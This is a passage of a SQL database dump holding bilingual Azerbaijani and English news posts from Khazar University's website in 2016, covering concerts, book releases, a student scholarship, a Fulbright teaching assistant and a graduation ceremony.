söylədilər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirdə həmçinin, Xəzər\r\nUniversitetinin prorektoru, professor Məhəmməd Nuriyev və&nbsp; Universitetin Neft-qaz mühəndisliyi üzrə\r\ndoktorantları da iştirak edirdilər.&nbsp;<strong></strong></p>'),(2485,1504,'az','“Sərdar Fərəcov ilə üz-üzə” adlı konsert keçiriləcək','2016-cı il noyabrın 4-ü saat 18:00-da bəstəkar, əməkdar incəsənət xadimi Sərdar Fərəcov və Xəzər Universitetinin kamera orkestrinin iştirakı ilə Xəzər Universitetinin...','<p>2016-cı il\r\nnoyabrın 4-ü saat 18:00-da bəstəkar, əməkdar incəsənət xadimi Sərdar Fərəcov və\r\nXəzər Universitetinin kamera orkestrinin iştirakı ilə Xəzər Universitetinin\r\n“Dünya” konsert salonunda (Bəşir Səfəroğlu küçəsi, 122) “Sərdar Fərədov ilə\r\nüz-üzə” adlı konsert keçiriləcək. </p>\r\n<p>Maraqlananlar\r\niştirak edə bilərlər.&nbsp;</p>'),(2486,1504,'en','Concert with Sardar Farajov','On November 4, 2016 at 18:00, a concert entitled “Face-to-Face” will be held in the Khazar University World Concert Hall (122 Beshir Safaroghlu St) featuring composer...','<p>On November 4, 2016 at 18:00, a concert\r\nentitled “Face-to-Face” will be held in the Khazar University World Concert\r\nHall (122 Beshir Safaroghlu St) featuring composer and Meritorious Worker of\r\nArts Sardar Farajov and the Khazar University Chamber Orchestra. Everyone is\r\nwelcome to attend.&nbsp;</p>'),(2489,1507,'az','Xəzər  Universitetinin müəlliminin redaktorluğu ilə iki kitab nəşr olundu','Bu günlərdə Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının redaktorluğu ilə iki kitab nəşr edilmişdir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bu günlərdə Xəzər Universitetinin Azərbaycan dili və\r\nədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının redaktorluğu ilə iki\r\nkitab nəşr edilmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">“Zəkioğlu” nəşriyyatında Xaqani Əliyevin müəllifliyi\r\nilə işıq üzü görən iri həcmli (1068 səh.) “İngiliscə-Azərbaycanca əhatəli lüğət”\r\n(elmi rəyçi: prof. N.Məmmədli, elmi redaktor: Q.Əzizxanlı) kitabı ilk növbədə tərcümə\r\nfakültəsində oxuyan tələbələrə, tərcüməçilərə, eyni zamanda, tərcüməçiliyi özünə\r\nikinci peşə seçmiş mütəxəssislərə ünvanlanmışdır. Bu sahə ilə maraqlananların istifadəsinə\r\nverilən lüğət təqribən 150&nbsp;000 söz və söz birləşməsindən ibarətdir. Tərtibçi\r\nmüəllif lüğətin tərtib prinsipləri bərədə kitaba ön söz yazmışdır. Kitabda qeyd\r\nedilir ki, ingiliscə-azərbaycanca, azərbaycanca-ingiliscə çeşidli lüğətlər olsa\r\nda, xüsusi mövzuları, sahə terminlərini özündə əks etdirən lüğətlərin\r\nçatışmazlığı özünü göstərir. Sözügedən lüğət bu çatışmazlığı aradan qaldırmağa\r\nyardımçı olacaq. Belə ki, hazırkı nəşr kənd təsərrüfatı, incəsənət, təhsil, mədəniyyət,\r\naviasiya, xalçaçılıq, kino, kulinariya, idiomlar, evfemizmlər, gömrük,\r\ndiplomatik əlaqələr, seçkilər, elektroenergetika, fövqəladə hallar, ətraf\r\nmühit, atçılıq, maliyyə, balıqlar, quşlar, güllər, futbol, həndəsə, zərgərlik,\r\nsəhiyyə, kəşfiyyat, hərbi, QHT, işgəncə, din, baytarlıq, neft-qaz və s. daxil\r\nolmaqla 60-dan artıq mövzunu əhatə edir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Məmməd\r\nArazın “Qarabağ simfoniyası” kitabını isə “Elm və təhsil”<strong> </strong>(Bakı, 2016. 516 səh.) nəşriyyatı oxuculara təqdim etmişdir. Kitabda Azərbaycanın\r\ntanınmış şairinin vətəndaş mövqeyini əks etdirən publisistikası, qələm\r\nyoldaşları haqqında məqalələri, həmçinin, indiyədək çap edilməmiş müsahibə və\r\nssenariləri toplanmışdır. <strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">“Bu kitab tanıdığımız, sevdiyimiz şair Məmməd Arazı\r\nbizə həm də başqa yöndən – təkcə bu yurdun, vətənin deyil, həm də dünyamızın əsl\r\nməcnunu olan bir dünya vətəndaşını tanıdır... Təkcə bir quş başı üzənin\r\ndaş-qalaq olunmasını tələb edən bəşərin gözü qabağında, dilimizə yenidən “qaçqın”,\r\n“didərgin” kəlmələrinin qayıtması, özü də əsrin, zamanın, sivilizasiyanın belə\r\nbir inkişafı mərhələsində qayıtması ücün haray çəkmir, həm də “yatmışları,\r\nbatmışları” oyatmağa çalışaraq, “Bəşəri sivilizasiyanın ilk cığırı təbiətdən\r\nbaşlayır,” –deyərək, haray çəkən vətəndaş Məmməd Araz\r\nelə şair Məmməd Araz qədər yaşayacaq, –deyə kitaba yazılmış ön sözdə qeyd edilir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Kitabın\r\ntərtibçisi<em> </em>Gülxanım\r\nFətəliqızı, redaktorları Qardaşxan Əzizxanlı və Nurlan Umuddur.</p>'),(2490,1506,'en','School Pupils Visit Factory ','On October 28, 2016, 5th grade students of Khazar University’s affiliate Dunya School took a field trip to Balakhani Solid Waste Sorting Plant and Solid Waste Incineration Facility...','<p>On October 28, 2016, 5<sup>th</sup>\r\ngrade students of Khazar University’s affiliate Dunya School took a field trip\r\nto Balakhani Solid Waste Sorting Plant and Solid Waste Incineration Facility\r\nrun by Clean City Joint Stock Company. The company representatives told the\r\npupils about the Solid Waste Sorting Plant, noting that the plant sorts out and\r\nprocesses reusable paper, glass, plastic, and scrap metal in order to decrease\r\nthe total volume of the garbage, create an inexpensive market of raw materials,\r\ncreate the opportunity to recycle these materials, save energy, and most\r\nimportantly, to reduce the negative impact of waste on the environment. </p>\r\n<p>Pupils watched the\r\nsorting and incineration processes firsthand and then participated in a\r\nquestion and answer session.&nbsp;</p>'),(2492,1507,'en','Khazar University Instructor Becomes Editor of Two Books ','Gardashkhan Azizkhanli, instructor of Khazar University’s Department of Azerbaijani Language and Literature, is the editor of two books which were recently published...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Gardashkhan Azizkhanli, instructor of\r\nKhazar University’s Department of Azerbaijani Language and Literature, is the\r\neditor of two books which were recently published. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The first is English-Azerbaijani\r\nComprehensive Dictionary (academic advisor: Prof. N. Mammadli, academic editor:\r\nG. Azizkhanli, author: Khagani Aliyev) of 1068 pages published by Zakioghlu\r\nPress. The dictionary contains 150,000 words and specific terms for 60 fields. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The second book is Karabakh Symphony by\r\nMammad Araz, published by Science and Education Press (Baku, 2016, 516 pages).\r\nThe book includes editorial essays about the theme of homeland, articles about\r\nthe writer’s counterparts, and interviews and scripts that have not been\r\npreviously published. The book is compiled by Gulkhanim Fataligizi and edited\r\nby Gardashkhan Azizkhanli and Nurlan Umud.&nbsp;</p>'),(1957,1196,'az',' “Xəzər Xəbər”  jurnalının may nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2016 - ci il  may nömrəsi (351-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. ','<p>“Xəzər Xəbər” jurnalının 2016 - ci\r\nil&nbsp; may nömrəsi (351-ci nömrə) Xəzər\r\nUniversitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(1958,1196,'en','“Khazar Review” May Edition Published','The May 2016 edition of the Khazar Review magazine (no.351) has been published by Khazar University Press.','<p>The May 2016 edition of the Khazar Review magazine (no.351)\r\nhas been published by Khazar University Press. The full version will also be\r\navailable soon at this link: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(1959,1197,'az','“Xəzərli”lər Dendrologiyaya səfər etdilər','2016-cı il iyunun 12-də Azərbaycan dili və ədəbiyyatı departamentinin assistenti Günel İsmayılovanın təşəbbüsü ilə həmin departamentdə Azərbaycan dili və mədəniyyətini öyrənən Polşadan gəlmiş sərbəst tədqiqatçı Julia Krajcarz Azərbaycan Milli Elmlər Akademiyasının Mərdəkanda yerləşən Dendrologiya İnstitutuna səfər etdilər.','<div>2016-cı il iyunun 12-də\r\nAzərbaycan dili və ədəbiyyatı departamentinin assistenti Günel İsmayılovanın təşəbbüsü\r\nilə həmin departamentdə Azərbaycan dili və mədəniyyətini öyrənən Polşadan gəlmiş\r\nsərbəst tədqiqatçı Julia Krajcarz Azərbaycan Milli Elmlər Akademiyasının&nbsp;Mərdəkanda\r\nyerləşən Dendrologiya İnstitutuna səfər etdilər. Bura vaxtilə neft milyonçusu və\r\nxeyriyəçi Murtuza Muxtarovun bağ evi olmuşdur. XX əsrdə rus şairi Sergey\r\nYesenin də bu məkanda yaşamışdır. Onlar əvvəlcə Murtuza Muxtarovun ev muzeyinə\r\ndaha sonra isə Yeseninin ev muzeyinə baş çəkdilər. Səfər zamanı Denrologiya\r\nİnstitutunun ərazisində müxtəlif quş növləri və bitki örtüyü ilə də tanış\r\noldular.</div>'),(1961,1198,'az','“Stereotiplər və diskriminasiya” mövzusunda seminar keçirildi','2016-cı il iyunun 11-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşəbbüsü ilə coğrafiya ixtisası üzrə təhsil alan tələbələri üçün seminar keçirildi.','<p>2016-cı il\r\niyunun 11-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşəbbüsü\r\nilə coğrafiya ixtisası üzrə təhsil alan tələbələri üçün seminar keçirildi.</p>\r\n<p>Seminara “İnkişaf\r\nzamanıdır” (<em>Time to rise</em>) proqramının\r\nəməkdaşları Namaz Kərimov və Fəqan Hüseynov dəvət edilmişdilər. Tələbələrə “Stereotiplər\r\nvə diskriminasiya” mövzusunda seminar keçirildi. </p>\r\n<p>Seminarda əsasən&nbsp;bu\r\nil coğrafiya ixtisası üzrə məzun olacaq tələbələr iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(1960,1197,'en','Khazar Staff Members Visit Dendrology Institute','On June 12, 2016, Gunel Ismayilova, Assistant to the Department of Azerbaijani Language and Literature, and Julia Krajcarz, visiting researcher from Poland who is learning the Azerbaijani language and culture in the same department, visited the Institute of Dendrology of ANAS  (Azerbaijan National Academy of Science) in  Mardakan. ','<div><span lang=\"AZ-LATIN\" style=\"font-weight:normal\">On June 12, 2016, Gunel\r\nIsmayilova, Assistant to the Department of Azerbaijani Language and Literature,\r\nand Julia Krajcarz, visiting researcher from Poland who is learning the\r\nAzerbaijani language and culture in the same department, visited the Institute\r\nof Dendrology of ANAS &nbsp;(Azerbaijan\r\nNational Academy of Science) in &nbsp;Mardakan.</span><span style=\"font-weight:normal\"> This garden used to be the country\r\nhouse of the oil magnate Murtuza Mukhtarov.&nbsp;In the XX century\r\nRussian poet Sergei Yesenin lived there as well. They first visited the museum\r\nof Murtuza Mukhtarov and then the museum of Sergei Yesenin. During the visit\r\nthey </span><span style=\"font-weight:normal\">got familiarized with the species of birds and\r\nflora of the Institute of Dendrology.&nbsp;</span></div>'),(1962,1198,'en','Workshop on “Stereotypes and Discrimination” ','On June 11, 2016, a workshop was held for the students of the Department of Geography and Environment of Khazar University.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nJune 11, 2016, a workshop was held for the students of the Department of\r\nGeography and Environment of Khazar University. The c<a href=\"https://azerdict.com/english/collaborator\">ollaborator</a>s\r\nof the program “Time to development,” Namaz Karimov and Faqan Huseynov, were\r\ninvited.&nbsp; The workshop for students was\r\non “Stereotypes and discrimination.” Graduate students majoring in geography participated\r\nin the workshop.</p>'),(1963,1199,'az','“Dünya”nın şagiridi qalib oldu','1 İyun – Uşaqların Beynəlxalq Müdafiəsi Günü münasibətilə Buro 24/7 Azerbaijan saytının keçirdiyi “Dünya uşaqların gözü ilə” adlı rəsm müsabiqəsinin qalibləri müəyyənləşmişdir.','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white;vertical-align:baseline\"\"=\"\">1 İyun – Uşaqların\r\nBeynəlxalq Müdafiəsi Günü münasibətilə <strong><em>Buro 24/7 Azerbaijan</em></strong> saytının keçirdiyi\r\n“Dünya uşaqların gözü ilə” adlı rəsm müsabiqəsinin qalibləri müəyyənləşmişdir.\r\nMüsabiqənin qalibi adını Xəzər Universiteti “Dünya” məktəbinin üçüncü sinif\r\nşagirdi Cavid Qurbanlı layiq görülmüşdür.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white;vertical-align:baseline\"\"=\"\">Müsabiqə\r\nvə onun nəticələri haqqında daha geniş məlumatı bu link vasitəsilə əldə etmək\r\nolar:</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white;vertical-align:baseline\"\"=\"\"><a href=\"http://www.buro247.az/lifestyle/buro-kids/d-nya-u-aqlar-n-g-z-il-u-aq-r-sml-ri-m-sabiq-sinin.html\">http://www.buro247.az/lifestyle/buro-kids/d-nya-u-aqlar-n-g-z-il-u-aq-r-sml-ri-m-sabiq-sinin.html</a>.</p>'),(1964,1199,'en','“Dunya” Student Wins Competition','The winners of the drawing competition “The world through the eyes of children“ held by Buro 24/7 Azerbaijan on the occasion of 1st June -International Children\'s Day,   were determined.','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white;vertical-align:baseline\"\"=\"\">The\r\nwinners of the drawing competition “The world through the eyes of children“\r\nheld by <strong><em>Buro 24/7 Azerbaijan</em></strong> on the occasion of 1st&nbsp;June -International\r\nChildren\'s Day,&nbsp;&nbsp; were determined. &nbsp;The winner of the competition was Javid\r\nGurbanli, the third grade student of Khazar University\'s affiliate Dunya\r\nSchool.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white;vertical-align:baseline\"\"=\"\">You can\r\nget more detailed information about the competition and its results at\r\nthis link:</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white;vertical-align:baseline\"\"=\"\"><a href=\"http://www.buro247.az/lifestyle/buro-kids/d-nya-u-aqlar-n-g-z-il-u-aq-r-sml-ri-m-sabiq-sinin.html\">http://www.buro247.az/lifestyle/buro-kids/d-nya-u-aqlar-n-g-z-il-u-aq-r-sml-ri-m-sabiq-sinin.html</a>.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white;vertical-align:baseline\"\"=\"\">&nbsp;</p>'),(1965,1200,'en','Research Meeting with Master Students','Researchers of Khazar University Computational Research Center (KCRC) met with Prof. Arif Memmedzadeh, the leading petroleum expert in Azerbaijan, at Khazar University on Saturday (11th June 2016).','<p>Researchers of Khazar University Computational\r\nResearch Center (KCRC) met with Prof. Arif Memmedzadeh, the leading petroleum\r\nexpert in Azerbaijan, at Khazar University on Saturday (11<sup>th</sup> June\r\n2016). </p>\r\n<p>&nbsp;</p>\r\n<p>Master students of KCRC Usama\r\nAhmed Khand (\"Developing techniques for detecting the hydrate formation\r\nconditions in oil and gas field operations”) and Yannick Agbhor (\"Micro\r\nstructural analysis and characterization of methane hydrate reservoirs, its\r\nimplications to current possible production methods\") presented their work\r\nduring the meeting. Dr. Hasan Niknafs, President of the University; &nbsp;Dr.\r\nEldar Shahgaldiyev, Head of the Division for Graduate Studies and Research; Dr.\r\nJestin Mandumpal, Lead Researcher of Computational Materials of Design and\r\nOptimization of Materials (CLDOM at KCRC); and Ms. Leyla Salayeva of the\r\nDivision for Graduate Studies and Research also participated in the meeting. </p>\r\n<p>&nbsp;</p>\r\n<p>Prof. Arif Memmedzadeh interacted with the students\r\nduring their presentations and inquired about the possibility of application of\r\ntheir works in the booming oil and gas industry in Azerbaijan and other parts\r\nof the world. Describing the research work at KCRC as promising, Prof.\r\nMemmedzadeh and other participants also expressed a genuine interest in\r\nfruitful collaboration between the researchers in Higher Oil School of\r\nAzerbaijan and Khazar university scholars.&nbsp; The researchers were\r\nrecommended to continue their work as PhD students starting from the beginning\r\nof the 2016-2017 educational year. </p>\r\n<p>&nbsp;</p>'),(2344,1425,'az','Xəzər Universitetinin əməkdaşı elmi ezamiyyətdə olmuşdur','2016-cı il oktyabrın 02-dən 09-dək Xəzər Universiteti Riyaziyyat departamentinin müdiri Əli Hüseynli Yıldız Teknik Universitetində...','<p>2016-cı il oktyabrın 02-dən 09-dək Xəzər\r\nUniversiteti Riyaziyyat departamentinin müdiri Əli Hüseynli Yıldız Teknik\r\nUniversitetində (İstanbul, Türkiyə) elmi ezamiyyətdə olmuşdur. Ə.Hüseynli\r\nRiyaziyyat bölümündə bölüm əməkdaşları, doktorantlar və magistrlərin iştirak\r\netdiyi bir neçə seminarda “Özünə qoşma olmayan bir differensial operatorun bəzi\r\nspektral xassələri” mövzusunda çıxış etmişdir. O, həmçinin, Riyaziyyat\r\nbölümünün doktorantları və magistrləri üçün “Analitik funksiyaların sərhəd məsələləri\r\nvə onların bazislik məsələlərinə tətbiqi” mövzusunda bir həftəlik dərs təşkil\r\netmişdir. Əli Hüseynlinin Riyaziyyat bölümündəki bir həftəlik fəaliyyəti Fən-Ədəbiyyat\r\nfakültəsinin və Riyaziyyat bölümünün rəhbərliyi tərəfindən yüksək qiymətləndirilmiş\r\nvə riyaziyyat bölümünün bir magistrinə elmi rəhbərlik etməsi təklif edilmişdir.</p>\r\n<p>&nbsp;</p>'),(2346,1426,'en','Khazar University Hosts Fulbright English Teaching Assistant in 2016-2017 Academic Year ','Khazar University is hosting Mr. James Millar for the current academic year through the Fulbright ETA (English Teaching Assistantship) Program...','<p>Khazar\r\nUniversity is hosting Mr. James Millar for the current academic year through\r\nthe Fulbright ETA (English Teaching Assistantship) Program.</p>\r\n<p>Mr. Millar received his Bachelors of International Relations from\r\nMichigan State University’s (MSU) James Madison College of Public Affairs,\r\nwhere he also minored in Russian and Eurasian Studies, European Studies, and\r\nInternational Development. There he worked for two years as a research\r\nassistant in the Center for European, Russian and Eurasian Studies, as well as\r\nthe Muslim Studies Program. Through MSU, he also pursued academic programs\r\nabroad in Azerbaijan, Turkey, Sri Lanka, India and a FLAS (Foreign\r\nLanguage – Area Studies) award in Latvia.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAt Khazar University, Mr. Millar is assigned to the Department of English\r\nLanguage and Literature where he assists English language instructors in and\r\noutside of the classroom, leads a conversation club and performs other tasks.\r\nIn the future, Mr. Millar hopes to hold cultural events and workshops to\r\nfurther facilitate cross-cultural understanding and English language\r\nproficiency.</p>\r\n<p>The Fulbright ETA program is\r\nfunded by the U.S. Department of State and administered by the U.S. Embassy in\r\nBaku. The program places recent college graduates in a classroom abroad to\r\nprovide assistance to teachers of English who instruct non-native English\r\nspeakers.&nbsp; English Teaching Assistants help teach English language and\r\nserve as cultural ambassadors of the United States.<strong></strong></p>\r\n<p>&nbsp;</p>'),(2347,1425,'en','Khazar University Mathematics Department Chair Visits Turkey','On October 2-9, 2016, Ali Huseynli, Head of the Department of Mathematics of Khazar University, went on a business trip to Yildiz Technical University (Istanbul, Turkey)...','<p>On October 2-9,\r\n2016, Ali Huseynli, Head of the Department of Mathematics of Khazar University,\r\nwent on a business trip to Yildiz Technical University (Istanbul, Turkey). He\r\ngave a number of seminars on the topic of “Some spectral properties of\r\nnon-selfadjoint differential operators” at the Mathematics Department with the\r\nattendance of faculty members, PhD students and master students of the\r\ndepartment. He also organized a one-week seminar entitled “Boundary value\r\nproblems of analytic functions and their applications to basicity problems” for\r\nPhD students and master students of the Department of Mathematics. Huseynli’s\r\nactivity at the department was highly appreciated by the School of Arts and\r\nSciences and he the suggestion was made that he supervise one of the master\r\nstudents of the Mathematics Department. </p>\r\n<p>&nbsp;</p>'),(2348,1428,'az','Xəzər Universitetinin  magistrantı SOCAR-ın təqaüdçüsü adına layiq görülüb','2016-cı il oktyabrın 14-də Azərbaycan Dövlət Neft Şirkətinin (SOCAR) baş ofisində Daxili Təqaüd Proqramının qaliblərinə plastik kartların...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">2016-cı il oktyabrın 14-də Azərbaycan<a href=\"http://metbuat.az/news/search?q=az%C9%99rbaycan\" target=\"_blank\" title=\"Azərbaycan xəbərləri\"></a><span class=\"apple-converted-space <img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media10727643812149545\" width=\"150\" height=\"100\">&nbsp;</span>Dövlət Neft Şirkətinin (SOCAR) baş ofisində Daxili Təqaüd\r\nProqramının qaliblərinə plastik kartların və “Yay məktəbi-2016” iştirakçılarına\r\nsertifikatların verilməsi mərasimi keçirilmişdir. Mərasimdə SOCAR-ın prezidenti\r\nRövnəq Abdullayev, Azərbaycanda fəaliyyət göstərən ali təhsil ocaqlarının\r\nrektorları, QHT rəhbərləri və şirkətlərin nümayəndələri iştirak etmişlər. &nbsp;Xəzər Universitetinin Mühəndislik və tətbiqi elmlər fakültəsinin&nbsp; neft mühəndisliyi ixtisası üzrə ikinci kurs\r\nmagistr tələbəsi Kamran\r\nƏləsgərov&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCAR-ın təqaüdçüsü adına\r\nlayiq görülmüşdür.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Daha\r\ngeniş məlumatı bu link vasitəsilə əldə etmək olar: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://metbuat.az/news/542043/socar-in-yay-mektebi-2016-istirakcilarina-sertifikatlarin-ve.html#Kalibri\">http://metbuat.az/news/542043/socar-in-yay-mektebi-2016-istirakcilarina-sertifikatlarin-ve.html</a>.&nbsp;</p>'),(2349,1428,'en','Khazar Student Awarded Scholarship by SOCAR','On October 14, 2016, the head office of the State Oil Company of Azerbaijan (SOCAR) hosted a ceremony to present plastic cards to the Internal Scholarship Program...','<p>On October 14, 2016, the head office of the State\r\nOil Company of Azerbaijan (SOCAR) hosted a ceremony to present plastic cards to the Internal Scholarship Program grantees\r\nand certificates to the Summer School&nbsp;2016 participants. </p>\r\n<p>SOCAR President Rovnag Abdullayev, rectors of the\r\nhigher educational institutions in Azerbaijan, NGO heads, and representatives\r\nof other companies’ management attended the awards ceremony. Kamran Alasgarov,\r\nsecond-year master’s student of Khazar University’s School of engineering and\r\nApplied Sciences who is majoring in Petroleum Engineering, was among the SOCAR\r\nscholarship grantees.&nbsp; </p>\r\n<p>For more information see: <a href=\"http://metbuat.az/news/542043/socar-in-yay-mektebi-2016-istirakcilarina-sertifikatlarin-ve.html#Kalibri\">http://metbuat.az/news/542043/socar-in-yay-mektebi-2016-istirakcilarina-sertifikatlarin-ve.html</a><span class=\"apple-converted-space <img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media5268429607658522\" width=\"150\" height=\"100\">\" style=\"background:white\"&gt;.</span></p>'),(2350,1429,'az',' Xəzər Universiteti məzunlarının 40-cı və 41-ci buraxılış mərasimi ','2016-cı il oktyabrın 15-də Bakı Musiqi Akademiyasının Opera Studiyasında Xəzər Universiteti məzunlarının 40-cı və 41-ci buraxılış mərasimi keçirildi...','<p>2016-cı\r\nil oktyabrın 15-də Bakı Musiqi Akademiyasının Opera Studiyasında Xəzər\r\nUniversiteti məzunlarının 40-cı və 41-ci buraxılış mərasimi&nbsp;keçirildi. Mərasimdə\r\nuniversitetin rəhbərliyi, professor-müəllim heyəti, tələbələr, valideynlər və\r\nqonaqlar iştirak edirdilər. Mərasim&nbsp; Azərbaycan\r\nRespublikasının Dövlət Himninin ifası ilə başlandı.&nbsp;&nbsp; </p>\r\n<p>Xəzər\r\nUniversitetinin rektoru Nassan Niknafs məzunları təbrik edərək, yeni həyat\r\nyollarında onlara uğurlar arzuladı. </p>\r\n<p>Qeyd\r\nolundu ki, 25 il ərzində universiteti, bugünkü məzunlar da daxil olmaqla (293\r\nbakalavr, 42 magistr), 2944 bakalavr, 616 magistr bitirmişdir. Onlardan 767-si\r\nfərqlənmə diplomu almışdır. </p>\r\n<p>Xəzər\r\nUniversitetinin keçdiyi yol və fəaliyyəti haqqında slayd-şou nümayiş etdiriləndən\r\nsonra&nbsp; Universitetin rəhbərliyi adından məzunlara\r\nünvanlanan məktub tədbirin aparıcıları tərəfindən oxundu.</p>\r\n<p>Xəzər\r\nUniversitetinin Məzun Assosiasiyasının prezidenti, “Bank of Baku” ASC İdarə Heyəti\r\nsədrinin müavini Eldar Həmidov çıxış edərək bildirdi ki, aldıqları təhsil,\r\nqazandıqları bilik və bacarıqlar “Xəzər”in məzunlarına&nbsp; seçdikləri sahədə uğur qazanmalarına zəmin\r\nyaradır. Onlar dövlət qurumlarında, özəl şirkətlərdə çalışır, böyük layihələrə,\r\nyeniliklərə imza atırlar, xeyli hissəsi öz işlərini qururlar. </p>\r\n<p>Valideynlər\r\nadından Elşən Zeynalov çıxış edərək, universitetin rəhbərliyinə və müəllim\r\nkollektivinə minnətdarlıq bildirdi.</p>\r\n<p>Sonra\r\nməzunlara diplomların təqdim olunması mərasimi başlandı. Diplomları Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı, rektor Hassan Niknafs, prorektorlar Məhəmməd Nuriyev və İsaxan\r\nİsaxanlı, dekanlar və departament müdirlərı, müəllimlər təqdim etdilər. Diplomları təqdim edənlər arasında universitetin\r\nveteranı Nanə xanım Kələntərli də vardı. O, çıxış edərək universitetdə fəaliyyətini\r\nbaşa vurduğunu söylədi və universitet rəhbərliyinə, doğma kollektivə uzun illər\r\nərzində birgə işə görə minnətdarlığını bildirdi. Hamlet İsaxanlı Nanə xanımın\r\nuniversitetdəki əməyini yüksək qiymətləndirdi və ona təşəkkür etdi.</p>\r\n<p>Diplomlar təqdim olunandan sonra məzunlar Xəzər\r\nUniversitetinin andını söylədilər və xatirə şəkilləri çəkdirdilər.</p>\r\n<p>Professor Hamlet İsaxanlı mərasimdə çıxış etdi. O,\r\nuniversitetdə yaradılmış əlverişli təhsil mühitindən, yalnız yüksək keyfiyyətli\r\nmütəxəssislər yox, eyni zamanda hərtərəfli inkişaf etmiş gənc nəsil yetişdirilməsindən,&nbsp;\r\nprofessor-müəllim heyətinin gərgin və səmərəli işindən, universitetin dünyanın\r\naparıcı ali məktəbləri ilə hərtərəfli əlaqələrindən, maddi-texniki bazanın daim\r\ngenişlənməkdə olmasından və “Xəzər”in beynəlxalq təşkilatların reytinq cədvəllərində&nbsp;&nbsp; daim fərqlənərək, Azərbaycan universitetləri\r\narasında birinci yeri tutmasından, həmçinin universitetin gələcəkdə həyata\r\nkeçirəcəyi tədbirlərdən ətraflı bəhs etdi.</p>\r\n<p>Mərasim &nbsp; universitetin Musiqi və incəsənət\r\ndepartamentinin&nbsp; hazırladıgı konsert proqramı ilə başa çatdı. Konsertdə\r\ndepartament müdiri, pianoçu, dosent Zülfiyyə Sadıqova, M. F. Axundov adına\r\nAkademik Opera və Balet Teatrının solisti, əməkdar artist, Xəzər\r\nuniversitetinin müəllimi Fərid Əliyev, M. Maqomayev adına Azərbaycan Dövlət\r\nFilarmoniyasının solisti, Çaykovski adına Moskva Konservatoriyasının\r\nmagistrantı, Xəzər Universitetinin müəllimi Məhsəti Cabbarova, universitetin tələbə\r\nqızlardan və oğlanlardan&nbsp; ibarət&nbsp; rəqs qrupları (baletmeysterlər – Xəzər\r\nUniversitetinin müəllimləri Səbinə İsmayılova və əməkdar artist Telman Əliyev),\r\nuniversitetin rəqs ansamblı iştirak etdilər.</p>'),(2351,1430,'az','Xəzər Universitetinin əməkdaşı məktəbdə görüş keçirdi','2016-cı il oktyabrın 14-də Xəzər Universitetinin “Potensial məktəb direktorları” kursunu uğurla başa vurmuş və 232 saylı məktəbə direktor vəzifəsinə yeni təyin olunmuş...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 14-də Xəzər Universitetinin\r\n“Potensial məktəb direktorları” kursunu uğurla başa vurmuş və 232 saylı məktəbə\r\ndirektor vəzifəsinə yeni təyin olunmuş Məhluqə Əzizovanın 